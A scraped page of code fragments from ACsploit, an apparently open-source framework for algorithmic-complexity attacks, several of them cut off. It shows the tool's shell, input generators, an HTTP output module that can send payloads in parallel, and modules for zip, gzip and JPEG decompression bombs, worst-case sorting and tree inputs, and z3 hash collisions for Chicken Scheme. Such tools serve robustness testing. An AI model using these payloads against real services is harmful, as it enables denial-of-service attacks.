                confirm_prompt = 'Changing this option may result in degraded exploit performance or failure'
                confirmation = __builtins__.input(
                    colorize(
                        confirm_prompt + '\nDo you want to continue? [y|N] ',
                        'yellow'))
                if confirmation.lower() in ['yes', 'y']:
                    self.defaulted_options.remove(
                        key
                    )  # only warn the first time overwriting the defaulted option
                else:
                    eprint(no_option_msg)
                    return

        if key == 'input':
            self.input = ACsploit.inputs[value]()
        elif key == 'output':
            self.output = ACsploit.outputs[value]()

        options[scoped_key] = value
        eprint(colorize('%s => %s' % (key, value), 'cyan'))

    def do_reset(self, args):
        """Resets the current exploit to default options"""
        if self.exploit is None:
            eprint(
                colorize(
                    'No exploit set; nothing to reset. Select an exploit with the \'use\' command',
                    'cyan'))
            return

        # delete the stored settings and reset the options in the current module
        if hasattr(self.exploit, '_ACsploit_exploit_settings'):
            del self.exploit._ACsploit_exploit_settings

        importlib.reload(
            self.exploit
        )  # we need to do this to reset currexp.options back to original values

        self.exploit = None
        self.update_exploit(self.exploit_name)

    def do_use(self, args):
        """Sets the current exploit. Usage: use [exploit_name]"""
        if len(args) > 0:
            self.update_exploit(args.split()[0])
        else:
            eprint(colorize('Usage: use [exploit_name]', 'red'))
            return

    def do_show(self, args):
        """Lists all available exploits."""
        eprint(colorize('\nAvailable exploits:', 'green'))
        for key in sorted(ACsploit.exploits):
            eprint(colorize('    ' + key, 'green'))
        eprint()

    def do_clear(self, args):
        """Clears the screen"""
        # 'cls' on windows, otherwise 'clear'
        os.system('cls' if os.name == 'nt' else 'clear')

    def update_exploit(self, exploit_name):
        """Sets the exploit name as the current exploit and restores saved settings or sets default values."""
        if exploit_name not in ACsploit.exploits:
            eprint((colorize('Exploit ' + exploit_name + ' does not exist',
                             'red')))
            return

        # save current input/output and  to current exploit in private variables
        # this allows restoration of the current settings if the exploit is used again
        if self.exploit is not None:
            self.exploit._ACsploit_exploit_settings = {
                'input': self.input,
                'output': self.output,
                'options': self.options,
                'defaulted_options': self.defaulted_options,
            }

        # set the new exploit; restore previous input/output
        self.exploit_name = exploit_name
        self.exploit = ACsploit.exploits[exploit_name]
        self.prompt = self.make_prompt(exploit_name)

        eprint(colorize('exploit => %s' % exploit_name, 'cyan'))

        if hasattr(self.exploit, '_ACsploit_exploit_settings'):
            self.input = self.exploit._ACsploit_exploit_settings['input']
            self.output = self.exploit._ACsploit_exploit_settings['output']
            self.options = self.exploit._ACsploit_exploit_settings['options']
            self.defaulted_options = self.exploit._ACsploit_exploit_settings[
                'defaulted_options']

        else:
            input_desc = 'Input generator to use with exploits'
            output_desc = 'Output generator to use with exploits'
            self.defaulted_options = []
            self.options = Options()

            # set default input and output for new exploit, if any
            if hasattr(self.exploit, 'NO_INPUT') and self.exploit.NO_INPUT:
                self.input = None
            elif hasattr(self.exploit, 'DEFAULT_INPUT'):
                self.options.add_option('input',
                                        self.exploit.DEFAULT_INPUT, input_desc,
                                        list(ACsploit.inputs.keys()))
                self.defaulted_options.append('input')
                self.input = ACsploit.inputs[self.exploit.DEFAULT_INPUT]()
            else:
                # We set string as the default input, but do not warn if this option is changed
                self.options.add_option('input', 'string', input_desc,
                                        list(ACsploit.inputs.keys()))
                self.input = ACsploit.inputs['string']()

            if hasattr(self.exploit, 'NO_OUTPUT') and self.exploit.NO_OUTPUT:
                self.output = None
            elif hasattr(self.exploit, 'DEFAULT_OUTPUT'):
                self.options.add_option('output', self.exploit.DEFAULT_OUTPUT,
                                        output_desc,
                                        list(ACsploit.outputs.keys()))
                self.defaulted_options.append('output')
                self.output = ACsploit.outputs[self.exploit.DEFAULT_OUTPUT]()
            else:
                # We set stdout as the default output, but do not warn if this option is changed
                self.options.add_option('output', 'stdout', output_desc,
                                        list(ACsploit.outputs.keys()))
                self.output = ACsploit.outputs['stdout']()

            # set defaults for input and output settings for new exploit, if any
            if hasattr(self.exploit, 'DEFAULT_INPUT_OPTIONS'):
                for option, value in self.exploit.DEFAULT_INPUT_OPTIONS.items(
                ):
                    self.input.set_option(option, value)
                    self.defaulted_options.append('input.%s' % option)
            if hasattr(self.exploit, 'DEFAULT_OUTPUT_OPTIONS'):
                for option, value in self.exploit.DEFAULT_OUTPUT_OPTIONS.items(
                ):
                    self.output.options.set_value(option, value)
                    self.defaulted_options.append('output.%s' % option)

    def do_run(self, args):
        """Runs the current exploit"""
        if self.exploit is None:
            eprint(
                colorize(
                    'No exploit set; nothing to do. Select an exploit with the \'use\' command',
                    'cyan'))
        else:
            eprint(colorize('Running %s...' % self.exploit_name, 'cyan'))
            start = time.perf_counter()
            if self.input is None:
                if self.output is None:
                    self.exploit.run()
                else:
                    self.exploit.run(self.output)
            else:
                # prepare is used to update internal state of input generators prior to running
                if hasattr(self.input, 'prepare'):
                    self.input.prepare()
                if self.output is None:
                    self.exploit.run(self.input)
                else:
                    self.exploit.run(self.input, self.output)
            end = time.perf_counter()
            eprint(
                colorize(
                    'Finished running %s (%.2f seconds)' %
                    (self.exploit_name, end - start), 'cyan'))
Ejemplo n.º 24
0
from options import Options


options = Options()
options.add_option('n_inputs', 10, 'Number of nodes in tree (to insert)')
# Worst case for node insertion in a avl tree.

DESCRIPTION = 'Produces a worst-case set of inputs for insertion in an AVL Tree' \
              '\n\n  ' \
              'Sorted insertions maximize balancing operations, resulting in the worst case input.'


def run(generator, output):
    ret = sorted_list(generator, options['n_inputs'])
    output.output(ret)


def sorted_list(generator, n_inputs):
    output = [generator.get_max_value()]
    for i in range(1, n_inputs):
        output.append(generator.get_less_than(output[i - 1]))
    return output
Ejemplo n.º 25
0
class StringGenerator:
    """String Generator"""

    INPUT_NAME = "string"

    def __init__(self):
        """Initialize the String Generator."""
        self.options = Options()
        self.options.add_option('min_length', 1, 'Minimum string length')
        self.options.add_option('max_length', 10, 'Maximum string length')
        self.options.add_option('min_value', 'a',
                                'Minimum ASCII character to use')
        self.options.add_option('max_value', 'z',
                                'Maximum ASCII character to use')
        self.options.add_option('restrictions', '',
                                'String of characters to exclude')
        self.options.add_option(
            'use_whitelist', False,
            'If True, only generate characters from the whitelist')
        self.options.add_option(
            'whitelist', '',
            'String of characters to generate from if use_whitelist is True')

        self.char_gen = CharGenerator()
        self.prepare()

    def prepare(self):
        """Updates the string generator options."""
        self.char_gen.options['min_value'] = self.options['min_value']
        self.char_gen.options['max_value'] = self.options['max_value']
        self.char_gen.options['restrictions'] = self.options['restrictions']
        self.char_gen.options['use_whitelist'] = self.options['use_whitelist']
        self.char_gen.options['whitelist'] = self.options['whitelist']
        self.char_gen.prepare()

    def _reduce_last_char(self, value):
        """Returns the next lowest string, may be shorter than min_length"""
        c = value[-1]
        try:
            low_c = self.char_gen.get_less_than(c)
            return value[:-1] + low_c + self.char_gen.get_max_value() * (
                self.options['max_length'] - len(value))
        except ValueError:
            # the last character is min_value, strip it off
            return value[:-1]

    def _increment_last_char(self, value):
        """Returns the next greatest string of equal or lesser length than value"""
        while len(value) > 0:
            c = value[-1]
            try:
                high_c = self.char_gen.get_greater_than(c)
                value = value[:-1] + high_c
                if len(value) < self.options['min_length']:
                    value += self.char_gen.get_min_value() * (
                        self.options['min_length'] - len(value))
                return value

            except ValueError:
                value = value[:-1]

        # should never get here since we only call this function with value < max_value
        raise ValueError('No valid value exists greater than {}'.format(value))

    def get_less_than(self, value):
        """Returns the largest valid string less than value (lexicographical order)"""
        # give up if value is not greater than min_value
        # all other cases should succeed, since there is at least one valid string (min_value) less than value
        if value <= self.get_min_value():
            raise ValueError(
                'No valid value exists less than {}'.format(value))

        # strip all extra characters from the right if string is too long
        # the new value will be less than original, so return if valid, or continue
        max_len = self.options['max_length']
        if len(value) > max_len:
            value = value[:max_len]
            if self.is_valid(value):
                return value

        # strip all chars beyond the first invalid char in value
        # we will reduce the invalid char in the next step
        for i, c in enumerate(value):
            if not self.char_gen.is_valid(c):
                value = value[:i + 1]

        value = self._reduce_last_char(value)
        while not self.is_valid(value):
            value = self._reduce_last_char(value)

        return value

    def get_greater_than(self, value):
        """Returns the smallest valid string greater than value (lexicographical order)"""
        # give up if value is not smaller than max_value
        # all other cases should succeed, since there is at least one valid string (max_value) greater than value
        if value >= self.get_max_value():
            raise ValueError(
                'No valid value exists greater than {}'.format(value))

        # strip all extra characters from the right if string is too long
        # the result will be less than original, but will have the same next greatest value
        max_len = self.options['max_length']
        if len(value) > max_len:
            value = value[:max_len]

        # deal with invalid chars
        # strip all chars right of the invalid char; increment the invalid char to a larger valid char
        for i, c in enumerate(value):
            if not self.char_gen.is_valid(c):
                value = value[:i + 1]
                return self._increment_last_char(value)

        # no invalid chars
        min_len = self.options['min_length']
        if len(value) < min_len:
            # pad short value with min_value to min_length
            return value + self.char_gen.get_min_value() * (min_len -
                                                            len(value))
        elif len(value) < max_len:
            # append one min_value character to value if not too long
            return value + self.char_gen.get_min_value()
        else:
            # can't extend length; increment last char to a larger char
            return self._increment_last_char(value)

    def get_max_value(self):
        """Returns the max value."""
        return self.char_gen.get_max_value() * self.options['max_length']

    def get_min_value(self):
        """Returns the min value."""
        return self.char_gen.get_min_value() * self.options['min_length']

    def get_random(self):
        """Returns a random string
        Length is chosen uniformly at random, so shorter strings appear equally as often as longer strings,
        which means the distribution is not uniform, since any given short string is more likely to be chosen
        than a given longer string"""
        length = random.randint(self.options['min_length'],
                                self.options['max_length'])
        return ''.join([self.char_gen.get_random() for _ in range(length)])

    def get_list_of_values(self, num_values):
        """Returns a list of valid numbers starting from min_value."""
        values = []
        next = self.get_min_value()
        for _ in range(num_values):
            values.append(next)
            try:
                next = self.get_greater_than(next)
            except ValueError:
                raise ValueError(
                    'Fewer than {} unique values'.format(num_values))
        return values

    def is_valid(self, candidate):
        """Returns true if the string has valid characters and meets min and max length constraints."""
        length_is_valid = self.options['min_length'] <= len(
            candidate) <= self.options['max_length']
        chars_are_valid = all(self.char_gen.is_valid(c) for c in candidate)
        return length_is_valid and chars_are_valid
Ejemplo n.º 26
0
class Http:
    """Http class."""

    OUTPUT_NAME = 'http'  # exploits can use this internally to whitelist/blacklist supported output formats

    _SEPARATORS = {
        'newline': '\n',
        'comma': ',',
        'space': ' ',
        'tab': '\t',
        'os_newline': os.linesep,
        'CRLF': '\r\n',
        'none': ''
    }

    def __init__(self):
        """Initialize the Http class."""
        self.options = Options()
        self.options.add_option('url', 'http://127.0.0.1:80/',
                                'Host to connect to')
        self.options.add_option('separator', 'newline',
                                'Separator between elements',
                                list(self._SEPARATORS.keys()), True)
        self.options.add_option(
            'final_separator', False,
            'Whether to end output with an instance of the separator')
        self.options.add_option('number_format', 'decimal',
                                'Format for numbers',
                                ['decimal', 'hexadecimal', 'octal'])

        # TODO - eventually support PUT, DELETE, HEAD, and OPTIONS, since requests easily handles those
        self.options.add_option('http_method', 'GET',
                                'Type of HTTP request to make',
                                ['POST', 'GET'])
        self.options.add_option('content_type', '',
                                'Content-Type header for the HTTP request')
        self.options.add_option('url_param_name', 'param',
                                'Name of URL arg(s) to use')
        self.options.add_option(
            'spread_params', True,
            'Put each output in its own URL arg, as opposed to all in one')
        self.options.add_option('use_body', False,
                                'Put exploit output in body, not URL args')

        self.options.add_option('print_request', False, 'Print HTTP request')
        self.options.add_option('send_request', True, 'Send HTTP request')

        self.options.add_option('n_requests', 1,
                                'Total number of times to send the request')
        self.options.add_option('n_parallel', 1,
                                'Number of requests to send simultaneously')

    # TODO - eventually allow printing out http response?
    def output(self, output_list):
        """Create an HTTP request and send the payload."""
        url_payload = {}
        data_payload = ''
        separator = output_common.get_separator(self.options['separator'],
                                                self._SEPARATORS)

        if self.options['use_body']:
            data_payload = separator.join(
                [self.convert_item(item) for item in output_list])
            if self.options['final_separator']:
                data_payload += separator
        else:
            if self.options['spread_params']:
                url_payload[self.options['url_param_name']] = [
                    self.convert_item(item) for item in output_list
                ]
            else:
                line = separator.join(
                    [self.convert_item(item) for item in output_list])
                if self.options['final_separator']:
                    line += separator
                url_payload = {self.options['url_param_name']: line}

        standard_headers = {
            'User-Agent': 'python-requests',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Accept': '*/*'
        }
        if self.options['content_type'] != '':
            standard_headers['Content-Type'] = self.options['content_type']

        # Must use HTTP or HTTPS; default to http if user has not specified
        url = self.options['url']
        if not url.startswith('http://') and not url.startswith('https://'):
            url = 'http://' + url

        req = requests.Request(self.options['http_method'],
                               url,
                               params=url_payload,
                               headers=standard_headers,
                               data=data_payload)
        prepared = req.prepare()

        if self.options['print_request']:
            self.pretty_print_http(prepared)

        if self.options['send_request'] and self.options['n_requests'] > 0:
            request = self.get_request(prepared)

            if self.options['n_requests'] == 1:
                print('Sending HTTP request (est. {} bytes)'.format(
                    len(request)))
                self.send_request(prepared)

            else:
                pool = multiprocessing.pool.ThreadPool(
                    self.options['n_parallel'])
                print('Sending {} HTTP requests (est. {} bytes each)'.format(
                    self.options['n_requests'], len(request)))

                # This will send n_parallel requests at once; each thread blocks until receiving a response
                # Each thread continues sending requests until n_requests have been sent in total across all threads
                pool.map(self.send_request,
                         [prepared] * self.options['n_requests'])
                pool.close()
                pool.join()

            print('All HTTP requests sent')

    def send_request(self, prepared_req):
        s = requests.Session()
        s.send(prepared_req)
        s.close()

    # NOTE: This is only an approximation of the request that will actually be sent
    #       The requests API does not expose the actual bytes of a request that will be sent over the wire
    #       If using HTTPS, will return the unencrypted HTTP payload, not the TLS payloads
    def get_request(self, prepared_req):
        _, full_url = prepared_req.url.split(
            '://', maxsplit=1)  # Strip http:// or https://
        url, _, path = full_url.partition(
            '/')  # Requests formats the url so there should always be a '/'
        headers = ''.join('{}: {}\r\n'.format(k, v)
                          for k, v in prepared_req.headers.items())
        body = '' if prepared_req.body is None else prepared_req.body
        request = '{} /{} HTTP/1.1\r\nHost: {}\r\n{}\r\n{}'.format(
            prepared_req.method, path, url, headers, body)
        return request

    def pretty_print_http(self, prepared_req):
        """Print readable http output."""
        print('-----------START-----------')
        print(self.get_request(prepared_req))
        print('------------END------------')

    def convert_item(self, item):
        """Convert output to a str type."""
        # NB: this doesn't recurse onto lists
        if type(item) is int:
            if self.options['number_format'] == 'hexadecimal':
                item = hex(item)
            elif self.options['number_format'] == 'octal':
                item = oct(item)

        return str(item)
Ejemplo n.º 27
0
from options import Options
import os

options = Options()
options.add_option('size', 10, 'Size of decompressed JPEG in KB', list(range(10, 61, 10)))
options.add_option('color', 'gray', 'color scale', ['gray', 'rgb'])

DESCRIPTION = 'Produces JPEG compression bomb for given size and color scale.' \
              '\n\n  ' \
              'JPEG bombs of certain sizes will be output. Credit to https://bomb.codes.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
	'final_newline': False,
	'format': 'binary'
}


def run(output):
	size = str(options['size'])
	color = options['color']

	with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'jpeg_bombs', color, size + 'K.jpeg'), 'rb') as f:
		output.output([f.read()])
Ejemplo n.º 28
0
import gzip
import os
import io
from options import Options

options = Options()
options.add_option('type', 'recursive', 'Type of bomb', ['single_file', 'recursive'])
options.add_option('target_size', 100000,
                   'Desired size of decompressed file in bytes (not applicable to recursive bombs)')

DESCRIPTION = 'Produces a gzip archive that expands into a very large file or set of files.\n\n\tThe "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_file" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_file bomb may use ' \
              'significant resources when built for large target_size, as ACsploit compresses the payload itself. Use caution' \
              'when executing with this option.'
NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}


def run(output):
    if options['type'] == 'recursive':
        with open(os.path.dirname(os.path.realpath(__file__)) + '/bombs-DONOTOPEN/gz_recursive.gz', 'rb') as f:
            gzip_contents = f.read()
        output.output([gzip_contents])

    elif options['type'] == 'single_file':
Ejemplo n.º 29
0
import os
import io
import math
import zipfile

from options import Options


options = Options()
options.add_option('type', 'recursive', 'Type of bomb', ['single_layer', 'layer', 'recursive'])
options.add_option('target_size', 100000,
                   'Desired size of decompressed file in bytes (not applicable to recursive bombs)')
options.add_option('n_layers', 3,
                   'Number of nested layers of zip files (only relevant for layer bombs)')

DESCRIPTION = 'Produces a zip archive that expands into a very large file or set of files.\n\n  The "recursive" bomb ' \
              'produces a self-reproducing bomb that will continue to decompress unless a ' \
              'limit is set in the parser (see https://research.swtch.com/zip for a full description.) The "single_layer" ' \
              'bomb creates a single file which decompresses to the target size in bytes. The single_layer bomb may use ' \
              'significant resources when built for large sizes, as ACsploit compresses the payload itself. Use caution.' \
              'when executing with this option. The "layered" bomb contains nested archives with the depth controlled by ' \
              'the "n_layers" parameter.'

NO_INPUT = True
DEFAULT_OUTPUT = 'file'
DEFAULT_OUTPUT_OPTIONS = {
    'final_newline': False,
    'format': 'binary'
}

Ejemplo n.º 30
0
from options import Options

options = Options()
options.add_option('pattern_length', 5, 'Length of pattern to search')
options.add_option('string_length', 10, 'Length of string to search in')
options.add_option('match', True,
                   'Whether to generate a matching or non-matching pattern')

DESCRIPTION = 'Produces a worst-case string and search pattern for the Boyer-Moore string matching algorithm.' \
              '\n\n  ' \
              'The worst case run time when the pattern does not appear in the text is O(n+m), where n is the length ' \
              'of the pattern and m is the length of the text being searched in. The worst case run time when the ' \
              'pattern does appear in the text is O(nm). This latter case occurs when the pattern and text are the same ' \
              'character repeated.'

DEFAULT_INPUT = 'char'


def run(generator, output):
    if options['match']:
        ret = all_same_match(generator, options['string_length'],
                             options['pattern_length'])
    else:
        ret = no_match(generator, options['string_length'],
                       options['pattern_length'])
    output.output(ret)


def no_match(generator, string_length,
             pattern_length):  # For if you want to not match the pattern
    base = generator.get_min_value()
Ejemplo n.º 31
0
from options import Options


options = Options()
options.add_option('type', 'mid', 'Variant of quicksort', ['mid', 'lomuto', 'hoare'])
options.add_option('n_inputs', 10, 'Number of elements to sort')

DESCRIPTION = ('Produces a worst-case input set for quicksort'
               '\n\n  Worst-case varies based on implementation:'
               '\n  for lomuto or hoare partition scheme with high value as pivot, sorted input is worst and gives O(n^2) runtime;'
               '\n  for mid variant pessimal input places the largest values at the pivots and gives O(n^2) runtime')


def run(generator, output):
    if options['type'] in ['lomuto', 'hoare']:
        # Worst case for Lomuto and Hoare quicksort is already sorted
        output.output(ascending_list(generator, options['n_inputs']))
    elif options['type'] == 'mid':
        # worst case for quicksort with midpoint pivots radiates from the center
        output.output(radiate_list(generator, options['n_inputs']))


def ascending_list(generator, n_inputs):
    return list(reversed(descending_list(generator, n_inputs)))


def descending_list(generator, n_inputs):
    output = [generator.get_max_value()]
    for i in range(1, n_inputs):
        output.append(generator.get_less_than(output[i-1]))
    return output
Ejemplo n.º 32
0
import z3
from .z3_common import get_collisions
from options import Options
import itertools

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('n_substrings', 5,
                   'Number of substrings to create to will then be combined')
options.add_option('initial_key', 0, 'Initial key value')
options.add_option('hash_table_size', 0x3FFFFFFFFFFFFFFF,
                   'Size of target hash table')
options.add_option(
    'target_type', 'preimage',
    'Whether the target is an image (hash output) or preimage (hash input)',
    ['image', 'preimage'])
options.add_option('target', 'hello',
                   'Image or preimage of desired hash value')

DESCRIPTION =  'Produces hash collisions for vulnerable version the chicken scheme string hash.' \
               '\n\n  ' \
               'The algorithm generates two sets of strings using z3; one that hash to the desired target and another that ' \
               'can be prepended to a string without changing the hash result. This approach is significantly ' \
               'faster than relying naively on z3 but will generate longer strings. It may require tuning of the ' \
               'parameters: if "n_substrings" is too large the exploit may run very slowly; too small and the output ' \
               'strings will be very long.'

DEFAULT_INPUT = 'char'


def chicken_hash(bytes, m, r):